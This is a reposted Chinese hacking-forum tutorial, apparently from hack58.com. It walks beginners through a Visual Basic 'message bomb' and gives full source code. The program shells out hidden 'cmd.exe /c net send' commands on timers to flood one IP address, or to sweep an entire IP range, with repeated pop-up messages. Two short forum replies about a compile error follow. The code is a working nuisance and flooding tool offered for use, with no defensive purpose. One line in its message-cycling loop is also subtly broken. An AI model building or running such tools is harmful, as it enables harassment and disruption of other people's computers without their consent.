[转载]用VB编写菜鸟版消息炸弹
文章作者:佚名信息来源:[url]www.hack58.com[/url]
让我来说说我写的主题,主要就是编写一个菜鸟级的消息炸弹。各位像我一样的菜鸟别晕,一听到写程序就头晕!这个程序很简单,因此,菜鸟兄弟们,一定要挺住!我以前一看程序也晕,后来挺住了!只要挺住,就算是成功了一半了!大家对使用2K、XP下的net send命令都一定很熟悉吧!比如:“net send 127.0.0.1 "hello!各位!"”这样就在本机出现了一个对话框,上面显示着“hello!各位!”字样。这样我就不多说了,还是继续说主要的!我的这个消息炸弹就是调用net send命令,来达到发送消息的效果,然后配合使用timer控件来达到循环发送消息的效果造成形成消息炸弹的目的!这个程序的功能大致分为:向单一IP地址循环发送单一的消息,向单一IP地址循环发送多条消息,向一个IP段循环发送单一的消息。原理和功能大家知道了,就来看看它使用的控件,与源代码吧!
这个程序使用11个textbox控件,4个option控件,1个combo控件,3个timer控件,3个frame控件、5个label控件和2个command控件!
由于net是一个外部命令(net是以文件的形式在硬盘上保存的,所以叫外部命令),它存放在系统目录下,因此还要调用一个API函数来找到系统目录,这个API函数是:GetSystemDirectory。好了,所使用的控件和API函数都已经介绍了,下面就看源代码的编写了,我在适当的地方加了少量的注释,希望和我一样的菜鸟能够明白!
Option Explicit
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Dim ip As String '用来保存IP地址
Dim i As Integer
Dim sysdir As String '保存系统目录
Private Sub Command1_Click()
If Option1.Value = True Then
If Text1.Text = "" Or Text2.Text = "" Or Text3.Text = "" Or Text4.Text = "" Then
MsgBox "输入的数据不完整", vbCritical, "错误"
Exit Sub
End If
ip = Text1.Text & "." & Text2.Text & "." & Text3.Text & "." & Text4.Text
If Option3.Value = True Then
Timer1.Interval = Val(Text11.Text)
Timer1.Enabled = True
End If
If Option4.Value = True Then
Timer2.Interval = Val(Text11.Text)
Timer2.Enabled = True
End If
End If
If Option2.Value = True Then
If Text5.Text = "" Or Text6.Text = "" Or Text7.Text = "" Or Text8.Text = "" Or Text9.Text = "" Then
MsgBox "输入的数据不完整", vbCritical, "错误"
Exit Sub
End If
If Val(Text8.Text) > Val(Text9.Text) Then
MsgBox "起始IP不能大于终止IP", vbCritical, "错误"
Text8.Text = ""
Text9.Text = ""
Exit Sub
End If
Timer3.Interval = Val(Text11.Text)
Timer3.Enabled = True
i = Val(Text8.Text)
End If
Command1.Enabled = False
Command2.Enabled = True
End Sub
Private Sub Command2_Click()
Timer1.Enabled = False
Timer2.Enabled = False
Timer3.Enabled = False
Command1.Enabled = True
Command2.Enabled = False
End Sub
Private Sub Form_Load()
Dim strpath As String
Dim a As String
Command2.Enabled = False
Frame3.Enabled = False
Combo1.Enabled = False
Timer1.Enabled = False
Timer2.Enabled = False
Timer3.Enabled = False
sysdir = Space(256)
GetSystemDirectory sysdir, 256
sysdir = Trim(sysdir)
sysdir = Left(sysdir, Len(sysdir) - 1) '去掉space(256)时多余的空格
strpath = IIf(Right(App.Path, 1) = "\", App.Path, App.Path & "\") '获得当前的目录
'由于要对一个IP地址发送不同的话,因此需要一个messages.txt的文本来保存要发送的消息
If Dir(strpath & "messages.txt") = "" Then
MsgBox "没有找到messages.txt文件,请建立messages.txt后再使用", , "messages文件未找到"
Unload Me
Exit Sub
End If
'把messages.txt中的文本逐行保存放置到combo1中
Open strpath & "messages.txt" For Input As #1
While Not EOF(1)
Line Input #1, a
Combo1.AddItem a
Wend
Close #1
Combo1.Text = Combo1.List(0)
End Sub
Private Sub Option1_Click()
Frame3.Enabled = False
Frame2.Enabled = True
Option3.Enabled = True
Option4.Enabled = True
End Sub
Private Sub Option2_Click()
Frame2.Enabled = False
Frame3.Enabled = True
Combo1.Enabled = False
Option3.Enabled = False
Option4.Enabled = False
End Sub
Private Sub Option3_Click()
Combo1.Enabled = False
Text10.Enabled = True
End Sub
Private Sub Option4_Click()
Text10.Enabled = False
Combo1.Enabled = True
End Sub
Private Sub Timer1_Timer()
'向单一IP地址发送单一的消息
Shell sysdir & "\cmd.exe /c net send " & " " & ip & " " & Text10.Text, vbHide
End Sub
Private Sub Timer2_Timer()
'向单一IP地址发送多条不同的消息
Static j As Integer
Shell sysdir & "\cmd.exe /c net send" & " " & ip & " " & Combo1.List(j), vbHide
j = i + 1
If j = (Combo1.ListCount - 1) Then '循环使用combo控件的消息
j = 0
End If
End Sub
Private Sub Timer3_Timer()
'向IP段发送单一的消息
Label5.Caption = "正在向" & i & "发送"
ip = Text5.Text & "." & Text6.Text & "." & Text7.Text & "." & Str(i)
Shell sysdir & "\cmd.exe /c net send" & " " & ip & " " & Text10.Text, vbHide
i = i + 1
If i > Val(Text9.Text) Then
i = Val(Text8.Text)
End If
End Sub
好了,这就是所有的源代码了。很简单吧!这个程序只能使用在2K、XP等操作系统下,并不支持9x的系统。但是这个软件并没有判断操作系统是否是2k、xp等支持net send的操作系统。因为现在使用9x系统的人已经很少了。如果想对操作系统做判断的朋友可以使用GetVersionEx来获取操作系统的版本进行判断,这里我就不多说了!我也是一个菜鸟,希望得到别人的帮助和支持。希望大家可以交流,QQ:40941323。 我按照你说的编写在 调试的时候总是出现"编译错误过程名称与同一事件或过程的描述不匹配." [quote][b]这里是引用第[/b][color=#ff0000][1 楼][/color][b]的[color=#000066]lovewaz[/color]于[/b]2006-02-04 17:07[b]发表的:[/b]
我按照你说的编写在 调试的时候总是出现"编译错误过程名称与同一事件或过程的描述不匹配."[/quote]
估计是控件名称与代码里不匹配,呵呵,不要完全copy,同时要足够细心 [s:46]
页:
[1]
